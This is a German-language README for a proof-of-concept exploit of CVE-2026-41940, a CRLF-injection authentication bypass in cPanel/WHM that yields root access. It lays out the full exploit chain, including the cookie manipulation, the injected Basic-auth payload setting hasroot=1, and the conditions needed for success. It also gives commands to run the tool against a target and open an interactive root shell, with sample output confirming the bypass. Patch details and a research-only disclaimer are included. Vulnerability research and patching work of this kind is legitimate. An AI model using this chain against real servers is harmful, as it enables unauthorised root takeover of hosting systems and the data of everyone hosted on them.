CVE-2026-41940 — cPanel/WHM Authentifizierungsumgehung

Autor: SilySec
Originalforschung: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Schweregrad: Kritisch (CVSS 9.8)
Typ: CRLF-Injection → Authentifizierungsumgehung → Root-Shell

---

Beschreibung

CVE-2026-41940 ist eine kritische Schwachstelle in cPanel/WHM, die es einem nicht authentifizierten Angreifer ermöglicht, über eine CRLF-Injection im Basic-Authentifizierungsmanager von cpsrvd vollständigen Root-Zugriff zu erlangen.

Die Schwachstelle kombiniert drei Schwächen:

1. Ungefilterte CRLF-Injection — die Funktion saveSession() in Cpanel/Session.pm bereinigt die Zeichen \r\n nicht vor dem Schreiben auf die Festplatte, wenn der Schlüssel <ob> im Cookie fehlt.
2. Deaktivierter Encoder — ohne das Segment <obHEX> im Session-Cookie wird der Session-Encoder nicht aktiviert, sodass die CRLF-Bytes im Klartext in die Session-Datei geschrieben werden.
3. Cache-Neuladen — Cpanel::Session::Modify::save() liest die Rohdatei erneut und befördert die injizierten CRLF-Schlüssel in den JSON-Cache, wodurch die Session vollständig authentifiziert wird.

---

Betroffene Versionen

Branch	Letzte verwundbare Version	Korrigierte Version
110.0.x	11.110.0.96	11.110.0.97
118.0.x	11.118.0.62	11.118.0.63
126.0.x	11.126.0.53	11.126.0.54
132.0.x	11.132.0.28	11.132.0.29
134.0.x	11.134.0.19	11.134.0.20
136.0.x	11.136.0.5	11.136.0.6

---

Exploit-Kette

POST /login/?login_only=1          [falsches Passwort]
  └─► cookie: whostmgrsession=:ID,<obHEX>

,<obHEX> entfernen  →  :ID          [deaktiviert den Encoder]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd schreibt die rohen CRLF-Bytes in die Session-Datei

GET /scripts2/listaccts + Cookie: :ID   [ohne Sicherheits-Token]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► JSON-Cache wird mit hasroot=1, tfa_verified=1 neu aufgebaut

→ Session als root authentifiziert

---

Verwendung

Voraussetzungen

pip install requests
# Für den --terminal-Modus (optional):
pip install paramiko

Überprüfung der Schwachstelle

python3 poc.py --target https://ZIEL:2087

Interaktive Root-Shell erhalten

python3 poc.py --target https://ZIEL:2087 --terminal

Kanonischen Hostnamen erzwingen

python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.beispiel.com

Beispielausgabe

[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.beispiel.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/

---

Wichtige technische Punkte

• Der kanonische Hostname muss im Host-Header verwendet werden (nicht die IP) — cpsrvd verwaltet Sessions je nach Hostname unterschiedlich
• Der Zeitstempel im Payload muss 9999999999 sein (fest, ferne Zukunft) — ein aktueller Zeitstempel schlägt fehl
• Die Reihenfolge der Schlüssel im injizierten Payload ist wichtig: successful_internal_auth_with_timestamp muss zuerst kommen

---

Patch

Der Patch verschiebt den Aufruf von filter_sessiondata() in saveSession() und fügt eine bedingte Kodierung hinzu, wenn der Schlüssel <ob> fehlt, wodurch jegliches Schreiben im Klartext verhindert wird.

cPanel/WHM sofort auf die oben aufgeführten korrigierten Versionen aktualisieren.

---

Warnhinweis

Dieses Tool wird ausschließlich zu Forschungs- und internen Testzwecken bereitgestellt. Jegliche Nutzung auf Systemen ohne ausdrückliche Genehmigung ist illegal. SilySec übernimmt keine Haftung für missbräuchliche Verwendung.